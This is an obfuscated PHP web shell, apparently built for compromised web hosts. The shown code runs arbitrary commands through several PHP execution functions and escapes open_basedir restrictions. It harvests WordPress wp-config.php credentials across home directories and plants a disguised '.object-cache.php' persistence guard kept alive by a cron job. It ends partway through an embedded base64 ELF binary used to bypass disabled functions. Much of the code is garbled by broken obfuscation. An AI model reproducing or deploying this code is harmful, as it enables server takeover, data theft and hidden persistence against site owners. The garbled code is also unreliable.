=")Y3VybF92ZXJzaW9ustrrev("(edoced_46esab[)(noisrev_lruc?))")dmVyc2lvbg==xorDecode("\x33\x65\x34\x61\x32\x64", 23)N/Aimplode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))(base64_decode('KSlzYWZlX21vZGU='))==1||strtolower(ini_get(base64_decode(implode('', array("\x63","\x32","\x46","\x6d","\x5a","\x56","\x39","\x74","\x62","\x32","\x52","\x6c")))))=='onimplode('', array("\x29","\x3f","\x22","\x3c","\x73","\x70","\x61","\x6e","\x20","\x73","\x74","\x79","\x6c","\x65","\x3d"))color:#f28b82xorDecode(base64_decode('YzM5Y2MyYWRjMmFjYzM5ZWMzOGRjMjkxYzI5MmMyODNjMjhjYzM5Y2MzODBjMzk4YzI4MGMyODNjMjkxYzI4N2MzOTRjMzk2YzJiZGMyODZjMjg3YzI4MWMyOGRjMjg2YzI4N2MzOGE='), 226)PHNwYW4gc3R5bGU9J2NvbG9yOiM4MWM5OTUnPk9mZjwvc3Bhbj4=implode('implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))(str_rot13("))o3Z="))=>php_uname(),base64_decode('dXNlcg==')=>getmyuid().base64_decode(base64_decode('SUNnPQ==')).$u_id[base64_decode(xorDecode("\x34\x36\x34\x39\x36\x32\x35\x30\x37\x65\x37\x35\x31\x39\x31\x39", 36))].base64_decode(strrev("==QK")),str_rot13("fnsrvzcybqr(")base64_decode('LCBhcnJheSg='),str_rot13("))vc")=>$_SERVER[base64_decode(xorDecode("\x37\x30\x31\x35\x37\x33\x37\x36\x37\x33\x34\x65\x37\x33\x37\x36\x37\x64\x31\x35\x36\x33\x36\x30\x37\x37\x36\x33\x36\x63\x31\x38", 37))]??gethostbyname($_SERVER[base64_decode(str_rot13("H0IFIxIFK05OGHH="))]),base64_decode(str_rot13("p29zqN=="))=>$_SERVER[base64_decode(base64_decode('VTBWU1ZrVlNYMU5QUmxSWFFWSkY='))],strrev("(edolpmiphp")xorDecode("\x35\x38\x35\x34\x31\x35\x30\x36\x30\x36\x31\x35\x30\x64\x35\x63", 116),str_rot13("))phey")=>$_var_curl_v,"\x74\x69\x6d\x65"=>date(base64_decode(base64_decode('V1MxdExXUWdTRHBwT25NPQ==')))];}$sys=get_sys_info();function x_jailbreak($file){$methods=[base64_decode("\x63\x32\x68\x6c\x62\x47\x78\x66\x5a\x58\x68\x6c\x59\x77\x3d\x3d"),xorDecode("\x63\x32\x62\x62\x63\x32\x61\x36\x63\x32\x62\x62\x63\x32\x62\x64", 222),implode('', array("\x70","\x61","\x73","\x73","\x74","\x68","\x72","\x75")),implode('base64_decode('LCBhcnJheSg=')m"\x29\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"cG9wZW4=implode('', array("\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))cHJvY19vcGVuimplode('', array("\x29","\x5d","\x3b","\x24","\x62","\x69","\x6e","\x61","\x72","\x69","\x65","\x73","\x3d","\x5b","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))Y2F0"\x29\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"aGVhZCAtbiAxMDAwMA==implode('', array("\x29","\x2c","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))dGFpbCAtbiAxMDAwMA==implode('"\x2c\x20\x61\x72\x72\x61\x79\x28"(strrev("==QZy9Wb))")),base64_decode(xorDecode("\x33\x33\x31\x36\x30\x37\x32\x62\x33\x32\x32\x36\x36\x63\x36\x63", 81)),base64_decode("\x59\x58\x64\x72\x49\x43\x4a\x37\x63\x48\x4a\x70\x62\x6e\x52\x39\x49\x67\x3d\x3d"),"\x73\x65\x64\x20\x2d\x6e\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x28\x22\x28\x22\x29\x2e\x22\x29\x20\x22\x2e\x65\x73\x63\x61\x70\x65\x73\x68\x65\x6c\x6c\x61\x72\x67\x28\x24\x66\x69\x6c\x65\x29\x3b\x24\x6f\x75\x74\x3d\x22\x22\x3b\x69\x66\x28\x24\x5f\x76\x61\x72\x5f\x6d\x65\x74\x68\x6f\x64\x3d\x3d\x3d"shell_execstrrev("===dohtem$(fiesle};)dmc$(cexe_llehs@=tuo${)")exec'){$o=[];@exec($cmd,$o);$_var_out=implode("\n",$o);}elseif($method===implode('xorDecode('c3bcc3b0c2b1c2a2c2a2c2b1c2a9c3b8', 208)u'))){ob_start();@passthru($cmd);$out=ob_get_clean();}elseif($method==='system'){ob_start();@system($cmd);$_var_out=ob_get_clean();}elseif($method==='popen'){$fp=@popen($cmd,'r');if($fp){while(!feof($fp))$out.=fread($_var_fp,1024);pclose($fp);}}elseif($method==='proc_open'){$desc=[1=>['pipebase64_decode('LA==implode('', array('('))XSwyPT5b')pipebase64_decode('LA==')w']];$p=@proc_open($cmd,$desc,$_var_pipes);if(is_resource($p)){$out=stream_get_contents($pipes[1]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);}}if(!empty($_var_out))return $out;}}}if(function_exists('symlink')&&is_writable(getcwd())){$link='sfm_lnk_'.rand(1000,9999);@symlink($file,$link);if(file_exists($link)){$content=@file_get_contents($_var_link);@unlink($link);if($content)return $content;}}if(function_exists('ini_setimplode('', array('('))chdir')&&function_exists(xorDecode('c3a3c3a5c3aac3a7c3bc', 142))){$old_cwd=getcwd();$jb_dir="sfm_jb_".rand(1000,9999);if(@mkdir($jb_dir)){@chdir($_var_jb_dir);@ini_set('open_basedirbase64_decode('LA==')..');for($i=0;$i<15;$i++){@chdir('..base64_decode('KTtAaW5pX3NldCg=')open_basedirbase64_decode('LA==implode('xorDecode('c3aac3a6c2a7c2b4c2b4c2a7c2bfc3ae', 198)('))KTt9QGNoZGlyKA==')/base64_decode('KTtAaW5pX3NldCg=')open_basedir','/');$content=@file_get_contents($file);@chdir($old_cwd);@rmdir($_var_jb_dir);if($content)return $content;}}return false;}function x_read($path){$jb=x_jailbreak($path);if(!empty($jb))return $_var_jb;if(is_readable($path))return@file_get_contents($path);return false;}function x_write($path,$data){if(@file_put_contents($path,$data))return true;if(function_exists('fopen')){$_var_h=@fopen($path,"w");if($h){fwrite($h,$data);fclose($h);return true;}}return false;}function x_robust_write($path,$_var_data,$lock_mode=false){if(file_exists($path)){@chmod($path,0644);}$fp=@fopen($path,'c+implode('xorDecode('5854150606150d5c', 116)('))symlink')&&@symlink($target,$_var_link))return true;if(function_exists('link')&&@link($target,$link))return true;$cmd="ln -s strrev(".str_rot13(") fge_ebg13(")[implode('', array("\x29","\x70","\x69","\x70","\x65")),"rimplode('', array("\x5d","\x2c","\x31","\x3d","\x3e","\x5b"))pipe","wstrrev("[>=2,]")pipe","w"]];$p=@proc_open($cmd,$desc,$pipes);if(is_resource($p)){@fclose($_var_pipes[0]);@fclose($pipes[1]);@fclose($pipes[2]);@proc_close($p);}}elseif(function_exists('popen')){$h=@popen($cmd,'r');if($h)@pclose($_var_h);}return file_exists($link);}function get_home_dirs(){$d=['/homeimplode('', array('='))/home'.$i;return $d;}function force_delete($target){if(is_file($target))return unlink($_var_target);if(is_dir($target)){$files=array_diff(scandir($target),array('.','..'));foreach($files as $file)force_delete("$target/$_var_file");$try=rmdir($target);if($try)return true;if(function_exists('shell_exec')){@shell_exec("rm -rf strrev("(")%.{$dec}f",$bytes/pow(1024,$factor)).@$_var_size[$factor];}function scan_smart_stream($dir,&$results){$dir=rtrim($dir,implode('', array("\x2f","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28","\x78","\x6f","\x72","\x44","\x65","\x63","\x6f","\x64","\x65","\x28"))c2afc2b7c390c399str_rot13(", 228))/");if(file_exists($dir.implode('', array("\x77","\x70","\x2d","\x63","\x6f","\x6e","\x66","\x69","\x67","\x2e","\x70","\x68","\x70","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))base64_decode('LCBhcnJheSg=').implode('', array("\x29","\x29","\x77","\x70","\x2d","\x63","\x6f","\x6e","\x66","\x69","\x67","\x2e","\x70","\x68","\x70"));if($_var_dh=@opendir($dir)){while(($file=readdir($dh))!==false){if($file==='.base64_decode('fHwkZmlsZT09PQ==')..strrev(".htap_lluf$=cilbup_tegrat${))htap_lluf$(knil_si!&&)htap_lluf$(rid_si(fi;elif$.rid_rav_$=htap_lluf$;eunitnoc)")/public_html/wp-config.php"\x3b\x24\x74\x61\x72\x67\x65\x74\x5f\x72\x6f\x6f\x74\x3d\x24\x5f\x76\x61\x72\x5f\x66\x75\x6c\x6c\x5f\x70\x61\x74\x68\x2e"/wp-config.php';if(file_exists($target_public))$results[]=$target_public;elseif(file_exists($target_root))$results[]=$target_root;}}closedir($_var_dh);}}function get_conf_val_smart($content,$key){if(preg_match("/define\(\s*['\strrev("(31tor_rts]").")['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/",$content,$m))return $m[1];return null;}function scan_smart_targets($_var_base_dir){$targets=[];$items=@scandir($base_dir);if($items){foreach($items as $item){if($_var_item==str_rot13(".vzcybqr(")str_rot13(", neenl(")("\x29\x29\x4c\x69\x34\x3d"))continue;$path=$base_dir.base64_decode(implode('', array("\x4c","\x77","\x3d","\x3d"))).$item;if(is_dir($path)){if(is_writable($path))$targets[]=$_var_path;$pub=$path.base64_decode(implode('', array("\x4c","\x33","\x42","\x31","\x59","\x6d","\x78","\x70","\x59","\x31","\x39","\x6f","\x64","\x47","\x31","\x73")));if(is_dir($pub)&&is_writable($pub)){$targets[]=$pub;}}}}return $_var_targets;}if(isset($_SERVER[$h_act])){$action=$_SERVER[$h_act];$raw_path=isset($_SERVER[$h_path])?base64_decode($_SERVER[$h_path]):base64_decode('strrev("(edoced_46esab===htap_war$(fi;)")X19IT01FX18=implode('strrev("(yarra ,")('))strrev("(ecalper_rts=tegrat$};htap_war_rav_$=tegrat${esle};)(dwcteg=tegrat${))")\\','/strrev(",tegrat$(mirtr=tegrat$)1>)tegrat$(nelrts(fi;)tegrat$,")/"\x29\x3b\x69\x66\x28\x69\x73\x5f\x64\x69\x72\x28\x24\x74\x61\x72\x67\x65\x74\x29\x29\x40\x63\x68\x64\x69\x72\x28\x24\x5f\x76\x61\x72\x5f\x74\x61\x72\x67\x65\x74\x29\x3b\x65\x6c\x73\x65\x69\x66\x28\x69\x73\x5f\x66\x69\x6c\x65\x28\x24\x74\x61\x72\x67\x65\x74\x29\x29\x40\x63\x68\x64\x69\x72\x28\x64\x69\x72\x6e\x61\x6d\x65\x28\x24\x74\x61\x72\x67\x65\x74\x29\x29\x3b\x69\x66\x28\x24\x61\x63\x74\x69\x6f\x6e\x3d\x3d\x3d"listimplode('', array("\x29","\x7b","\x69","\x66","\x28","\x21","\x69","\x73","\x5f","\x64","\x69","\x72","\x28","\x24","\x74","\x61","\x72","\x67","\x65","\x74","\x29","\x29","\x7b","\x24","\x74","\x61","\x72","\x67","\x65","\x74","\x3d","\x67","\x65","\x74","\x63","\x77","\x64","\x28","\x29","\x3b","\x7d","\x24","\x69","\x74","\x65","\x6d","\x73","\x3d","\x40","\x73","\x63","\x61","\x6e","\x64","\x69","\x72","\x28","\x24","\x5f","\x76","\x61","\x72","\x5f","\x74","\x61","\x72","\x67","\x65","\x74","\x29","\x3b","\x69","\x66","\x28","\x24","\x69","\x74","\x65","\x6d","\x73","\x3d","\x3d","\x3d","\x66","\x61","\x6c","\x73","\x65","\x29","\x7b","\x6a","\x73","\x6f","\x6e","\x5f","\x6f","\x75","\x74","\x28","\x5b"))pathimplode('"\x2c\x20\x61\x72\x72\x61\x79\x28"(str_rot13("))nKEyoKZ="))=>[],str_rot13("reebe")=>strrev("elbadaernU")]);}$dirs=[];$files=[];foreach($items as $i){if($i==base64_decode(xorDecode("\x34\x31\x36\x61\x33\x30\x33\x30", 13))||$_var_i=='..implode('', array("\x29","\x63","\x6f","\x6e","\x74","\x69","\x6e","\x75","\x65","\x3b","\x24","\x70","\x61","\x74","\x68","\x3d","\x24","\x74","\x61","\x72","\x67","\x65","\x74","\x2e","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))Lw==implode('"\x2c\x20\x61\x72\x72\x61\x79\x28"(str_rot13("))ozSgMD=="))=>$i,base64_decode(implode('', array("\x64","\x48","\x6c","\x77","\x5a","\x51","\x3d","\x3d")))=>$isDir?base64_decode(xorDecode(base64_decode('YzI5Y2MyODFjMmFhYzJiZg=='), 198)):base64_decode("\x5a\x6d\x6c\x73\x5a\x51\x3d\x3d"),base64_decode("\x63\x32\x6c\x36\x5a\x51\x3d\x3d\x69\x6d\x70\x6c\x6f\x64\x65\x28"implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))?"\x29\x29\x2d":human_filesize(@filesize($path)),base64_decode(xorDecode(strrev("525294a716e4f5b7"), 24))=>substr(sprintf(base64_decode("\x4a\x57\x38\x3d"),@fileperms($path)),-4),base64_decode(base64_decode('ZDNKcGRHVT0='))=>is_writable($_var_path),strrev("(edolpmietad")base64_decode('LCBhcnJheSg=')(xorDecode("\x33\x31\x33\x31\x34\x66\x34\x62\x32\x39\x36\x63\x35\x34\x34\x66\x34\x39\x37\x66\x34\x62\x35\x63\x36\x38\x36\x38", 24)),@filemtime($path))];if($isDir)$dirs[]=$item;else $files[]=$item;}usort($_var_dirs,function($a,$b){return strcasecmp($a[base64_decode('bmFtZQ==')],$b[base64_decode(str_rot13("ozSgMD=="))]);});usort($files,function($a,$_var_b){return strcasecmp($a[base64_decode(base64_decode('Ym1GdFpRPT0='))],$b[base64_decode(implode('', array("\x62","\x6d","\x46","\x74","\x5a","\x51","\x3d","\x3d","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))xorDecode(str_rot13("1418594n4n594110"), 56)(implode('', array("\x29","\x29","\x63","\x47","\x46","\x30","\x61","\x41","\x3d","\x3d")))=>$target,base64_decode(str_rot13("nKEyoKZ="))=>array_merge($dirs,$files)]);}if($action===base64_decode(base64_decode('Y21WaFpBPT0='))){if(is_file($_var_target)){$c=x_read($target);echo $c?$c:base64_decode(str_rot13("EKWlBvOIoaWyLJEuLzkyVPuHpaxtFzScoTWlMJSeY1AbMJkfXD=="));}else{$c=x_read($target);echo $_var_c?$c:str_rot13("Ree: Abg n svyr / Npprff Qravrq");}exit;}if($action===base64_decode(xorDecode(strrev("e5312191a160b1f1b4b472c244034451"), 118)implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))=str_rot13("))hcybnq")){$input=file_get_contents(strrev(base64_decode(strrev("==Ad"))));if(isset($_SERVER[$h_enc])&&$_SERVER[$_var_h_enc]===implode('', array("\x62","\x36","\x34"))){$input=base64_decode($input);}echo(x_robust_write($target,$input,true)!==false)?base64_decode(xorDecode("\x33\x37\x35\x31\x33\x34\x30\x38\x33\x62\x35\x30\x33\x34\x31\x38\x30\x31\x31\x35\x35\x66\x35\x66", 98)):base64_decode('RXJyOiBXcml0ZSBmYWlsZWQ=');exit;}if($action===base64_decode(implode('', array("\x5a","\x47","\x56","\x73","\x5a","\x58","\x52","\x6c","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))(base64_decode('KSlSR1ZzWlhSbFpBPT0=')):base64_decode(str_rot13("EzScoPOxMJkyqTH="));exit;}if($action===xorDecode("\x32\x32\x33\x35\x33\x65\x33\x31\x33\x64\x33\x35", 80)){$_var_n=isset($_SERVER[$h_data])?base64_decode($_SERVER[$h_data]):base64_decode('str_rot13(");vs($a)rpub eranzr($gnetrg,qveanzr($_ine_gnetrg).onfr64_qrpbqr(")Lw==implode('base64_decode('LCBhcnJheSg=')(str_rot13("))oN==")));exit;}if($action===str_rot13("puzbq")){$m=isset($_SERVER[$h_data])?$_SERVER[$h_data]:base64_decode('"\x29\x3b\x69\x66\x28\x24\x5f\x76\x61\x72\x5f\x6d\x29\x65\x63\x68\x6f\x20\x63\x68\x6d\x6f\x64\x28\x24\x74\x61\x72\x67\x65\x74\x2c\x6f\x63\x74\x64\x65\x63\x28\x24\x6d\x29\x29\x3f\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"Q2htb2QgT0s=base64_decode('KToiRmFpbCI7ZXhpdDt9aWYoJGFjdGlvbj09PQ==')mkdirimplode('strrev("(yarra ,")(base64_decode('KSlSWEp5T2lCdGEyUnBjaUJtWVdsc1pXUT0='));exit;}if($action===base64_decode(strrev("==AdjFmc0hXZ"))){$ext=strtolower(pathinfo($target,PATHINFO_EXTENSION));$_var_dir=dirname($target);$ok=false;if($ext===base64_decode(xorDecode(strrev("f92c482c582cd82c"), 232))&&class_exists(base64_decode(strrev("==QZ2lGajJXQwlmW")))){$z=new ZipArchive;if($z->open($target)===true){$_var_ok=$z->extractTo($dir);$z->close();}}elseif($ext===base64_decode(implode('', array("\x5a","\x33","\x6f","\x3d","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28"))base64_decode('LCBhcnJheSg=')("\x29\x29\x64\x47\x64\x36")){$cmd=base64_decode(xorDecode(implode('', array("\x63","\x32","\x61","\x62","\x63","\x33","\x38","\x30","\x63","\x32","\x61","\x33","\x63","\x32","\x39","\x35")), 242)).escapeshellarg($dir).base64_decode(strrev("==AK2VmcyR3cgYme4BichRHImYCI")).base64_decode('KSAyPiYx');@shell_exec($_var_cmd);$ok=true;}elseif($ext===base64_decode('dGFy')){$cmd=base64_decode(str_rot13("L2Dtvzcybqr(")implode('', array("\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28"))=xorDecode("\x63\x33\x38\x61\x63\x33\x38\x61\x63\x32\x39\x31\x63\x32\x38\x32\x63\x32\x39\x31", 227)){$cmd=base64_decode(str_rot13("L2Dt")).escapeshellarg($dir).base64_decode(base64_decode('SUNZbUlIVnVjbUZ5SUhnZ2MzUnljbVYyS0E9PQ==')).base64_decode("\x4b\x53\x41\x79\x50\x69\x59\x78");@shell_exec($cmd);$_var_ok=true;}elseif($ext===base64_decode(str_rot13("A3b=vzcybqr(")xorDecode("\x34\x32\x34\x65\x30\x66\x31\x63\x31\x63\x30\x66\x31\x37\x34\x36", 110)(base64_decode('KSlZMlFn')).escapeshellarg($dir).base64_decode(implode('', array("\x49","\x43","\x59","\x6d","\x49","\x44","\x64","\x36","\x49","\x48","\x67","\x67"))).escapeshellarg($target).base64_decode(implode('', array("\x49","\x44","\x49","\x2b","\x4a","\x6a","\x45","\x3d")));@shell_exec($cmd);$ok=true;}else{echobase64_decode(implode('', array("\x52","\x58","\x4a","\x79","\x4f","\x69","\x42","\x56","\x62","\x6e","\x4e","\x31","\x63","\x48","\x42","\x76","\x63","\x6e","\x52","\x6c","\x5a","\x43","\x42","\x6d","\x62","\x33","\x4a","\x74","\x59","\x58","\x51","\x3d")));exit;}echo $ok?base64_decode(xorDecode(implode('', array("\x63","\x32","\x61","\x30","\x63","\x32","\x61","\x61","\x63","\x32","\x39","\x61","\x63","\x33","\x38","\x32","\x63","\x32","\x39","\x31","\x63","\x32","\x39","\x66","\x63","\x32","\x62","\x34","\x63","\x32","\x39","\x38","\x63","\x32","\x39","\x36","\x63","\x32","\x62","\x35","\x63","\x32","\x61","\x34","\x63","\x32","\x39","\x39","\x63","\x32","\x62","\x62","\x63","\x32","\x62","\x37","\x63","\x33","\x38","\x62","\x63","\x32","\x62","\x65","\x63","\x32","\x39","\x62","\x63","\x32","\x39","\x66","\x63","\x32","\x38","\x32","\x63","\x32","\x39","\x65","\x63","\x32","\x39","\x64","\x63","\x32","\x39","\x36","\x63","\x32","\x39","\x37","\x63","\x33","\x39","\x61")), 242)base64_decode('LCBhcnJheSg=')(implode('', array("\x29","\x29","\x5a","\x6e","\x4a","\x6c","\x5a","\x58","\x70","\x6c","\x58","\x33","\x4e","\x30","\x59","\x58","\x4a","\x30")))){$_var_freeze_dir=$target.base64_decode(strrev("==wcu9WazNXZz9VZoNWYj5yL"));if(!is_dir($freeze_dir))@mkdir($freeze_dir,0755,true);$items=@scandir($target);$manifest=[];$_var_backed=0;if($items){foreach($items as $f){if($f===base64_decode(str_rot13("Yt=="))||$f==='.."\x7c\x7c\x24\x66\x3d\x3d\x3d\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28"LmNhY2hlX3Nlc3Npb25zimplode('strrev("(yarra ,")=strrev("php.ehcac-tcejbo.))"))continue;$_var_full=$target.'/str_rot13(".$s;vs(vf_svyr($shyy)){$unfu=zq5_svyr($shyy);$crez=fhofge(fcevags(")%obase64_decode('LGZpbGVwZXJtcygkX3Zhcl9mdWxsKSksLTQpOyRtdGltZT1maWxlbXRpbWUoJGZ1bGwpOyRtYW5pZmVzdFtdPVs=')namebase64_decode('PT4kZixiYXNlNjRfZGVjb2RlKA==')aGFzaA==implode('base64_decode('LCBhcnJheSg=')("\x29\x29\x63\x47\x56\x79\x62\x51\x3d\x3d")=>$perm,base64_decode("\x62\x58\x52\x70\x62\x57\x55\x3d")=>$mtime];@copy($_var_full,$freeze_dir.'/base64_decode('LiRmLg==').cacheimplode('', array("\x29","\x3b","\x24","\x62","\x61","\x63","\x6b","\x65","\x64","\x2b","\x2b","\x3b","\x7d","\x7d","\x7d","\x66","\x69","\x6c","\x65","\x5f","\x70","\x75","\x74","\x5f","\x63","\x6f","\x6e","\x74","\x65","\x6e","\x74","\x73","\x28","\x24","\x66","\x72","\x65","\x65","\x7a","\x65","\x5f","\x64","\x69","\x72","\x2e","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))L2luZGV4LmRhdA==str_rot13("),wfba_rapbqr($znavsrfg));$thneq_pbqr=vzcybqr(")str_rot13(", neenl(")p'))."\n";$_var_guard_code.=base64_decode('Ly8gV1AgT2JqZWN0IENhY2hlIEhhbmRsZXIgLSBTeXN0ZW0gTW9kdWxl')."\nstr_rot13(".")\n";$guard_code.='$vault = $dir . "/.cache_sessionsstr_rot13(";'.")\n";$guard_code.='if (!file_exists($_var_vault . "/index.datbase64_decode('KSkgZXhpdDsnLg==')\nstrrev(implode('', array("\x20","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28","\x69","\x6d","\x70","\x6c","\x6f","\x64","\x65","\x28","\x27","\x27","\x2c","\x20","\x61","\x72","\x72","\x61","\x79","\x28","\x27","\x3d","\x27","\x29","\x29","\x29","\x29","\x2c","\x20","\x74","\x72","\x75","\x65","\x29","\x3b","\x27","\x2e"))\n";$guard_code.='foreach ($manifest as $entry) {'."\nstr_rot13(" ")/" . $_var_entry["namestrrev(".';]")\nstrrev(" ")/" . $entry["namebase64_decode('XSAuIA==').cacheimplode('', array("\x3b","\x27","\x2e"))\n";$guard_code.=' $perm = isset($entry["permstr_rot13("[str_rot13(")crez")]) : 0644;'."\nstrrev(".")\n";$guard_code.=' if (file_exists($_var_backup)) { @copy($backup, $file); @chmod($file, $perm); }'."\n";$guard_code.=base64_decode(implode('xorDecode('131f5e4d4d5e4617', 63)=')))."\n";$guard_code.=' }'."\n";$_var_guard_code.=' $cur_mtime = @filemtime($file);'."\nstr_rot13("[strrev("(verrtsemitm)")[strrev("emitm)")]) continue;'."\n";$guard_code.=' if (md5_file($file) !== $_var_entry["hashimplode('', array("\x5d","\x29","\x20","\x7b","\x27","\x2e"))\n";$guard_code.=implode('', array('{'))."\n";$guard_code.=' @chmod($file, 0644);'."\nstrrev(".")\nstr_rot13("[base64_decode('KW10aW1l')]);'."\n";$_var_guard_code.=' @chmod($file, $perm);'."\n";$guard_code.=base64_decode('ICAgICAgICB9')."\n";$guard_code.=base64_decode(implode('', array('=')))."\nstrrev(strrev(" ,])'=0mclBXK'(edoced_46esab[")0str_rot13(".")\n";$guard_code.=' @chmod($file, $_var_perm);'."\n";$guard_code.=' }'."\n";$guard_code.='}'."\n";file_put_contents($target.'/.object-cache.php',$guard_code);$php_bin=PHP_BINDIR.'/phpimplode('', array('[xorDecode('2222247e787924696265247b637b696a786e3d3f546f6e68646f6e23', 11)LA==')/usr/local/bin/phpbase64_decode('LA==')/usr/bin/php8.1','/usr/bin/php8.0base64_decode('LA==')/usr/bin/php7.4',xorDecode('c3b4c3acc3b4c3adc3a9c3b4c3a8c3abc3a0c3a1c2ac', 132)', array('='))php'||@is_executable($p)){$_var_php_bin=$p;break;}}}$guard_path=$target.'/.object-cache.php';$cron_line="* * * * * $php_bin $guard_path > /dev/null 2>&1strrev(" "\x29\x6f\x62\x6a\x65\x63\x74\x2d\x63\x61\x63\x68\x65"; echo str_rot13(".str_rot13(") && "):base64_decode('base64_decode('KTskY21kPWJhc2U2NF9kZWNvZGUo')ZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47IHN0cnJldig=implode('', array("\x29","\x2e","\x22","\x29","\x20","\x32","\x3e","\x26","\x31","\x22","\x3b","\x24","\x5f","\x76","\x61","\x72","\x5f","\x6f","\x75","\x74","\x3d","\x62","\x61","\x73","\x65","\x36","\x34","\x5f","\x64","\x65","\x63","\x6f","\x64","\x65","\x28"))str_rot13(");$gel_eha=shapgvba($zrgubq,$p){vs(!shapgvba_rkvfgf($zrgubq))erghea snyfr;$b="";vs($zrgubq==")shell_execimplode('"\x2c\x20\x61\x72\x72\x61\x79\x28"="\x29\x29\x70\x61\x73\x73\x74\x68\x72\x75"){ob_start();@passthru($_var_c);$o=ob_get_clean();}elseif($method==base64_decode(xorDecode(implode('', array("\x34","\x39","\x31","\x39","\x34","\x36","\x35","\x30","\x34","\x65","\x36","\x64","\x37","\x63","\x35","\x65")), 42))){ob_start();@system($c);$o=ob_get_clean();}elseif($method==base64_decode(strrev("==wYlhXZ"))){@exec($c,$_var_arr);$o=implode("\n",$arr);}elseif($method==base64_decode('cG9wZW4=')){$h=@popen($c,'r');if($h){while(!feof($_var_h))$o.=fread($h,1024);pclose($h);}}elseif($method=='proc_openimplode('', array('(xorDecode('c2a7c2a7c3adc3a9c2b3c2b3', 142))],1=>[base64_decode('cGlwZQ=='),base64_decode('d3N0cnJldig=')[base64_decode('KXBpcGU='),base64_decode('dw==implode('xorDecode('c3a7c3abc2aac2b9c2b9c2aac2b2c3a3', 203)['))shell_exec',base64_decode('cGFzc3RocnU='),base64_decode('cHJvY19vcGVu'),base64_decode('c3lzdGVt')];foreach($methods as $m){if($_var_d=ini_get(base64_decode(xorDecode('c28ec293c2b8c2aec28dc283c29ec2a7c28ec282c3adc2b9c2b0c283c3a1c2bec2b0c293c2b8c2a2c2b6c2bac299c3a9c2bdc2b9c2a4c2b8c2bbc2b0c2b1c3bc', 212)', array('('))Q2Fubm90IGFsbG9jYXRl'))!==false||stripos($res,base64_decode('Zm9yaw=='))!==false)continue;if(!empty($res)){$out=$res;break;}}}if(empty($out)||$is_uapi_token){$_var_hook='f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAADQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAAACAIAAAAAAAAIAgAAAAAAAAEAAAAAAAAABAAAABQAAAADAAAAR05VAGhkFopFVPvXbYbBilBq7Sd8S1krAAAAAAMAAAANAAAAAQAAAAYAAACIwCBFAoRgGQ0AAAARAAAAEwAAAEJF1exgXb1c3muVgLvjknzYcVgcuY3xDurT7w4bn4gLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHkAAAASAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAIYAAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAGEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAALIAAAASAAAAAAAAAAAAAAAAAAAAAAAAAKMAAAASAAAAAAAAAAAAAAAAAAAAAAAAADgAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAFIAAAAiAAAAAAAAAAAAAAAAAAAAAAAAAJ4AAAASAAAAAAAAAAAAAAAAAAAAAAAAAMUAAAAQABcAaBAgAAAAAAAAAAAAAAAAAI0AAAASAAwAFAkAAAAAAAApAAAAAAAAAKgAAAASAAwAPQkAAAAAAAAdAAAAAAAAANgAAAAQABgAcBAgAAA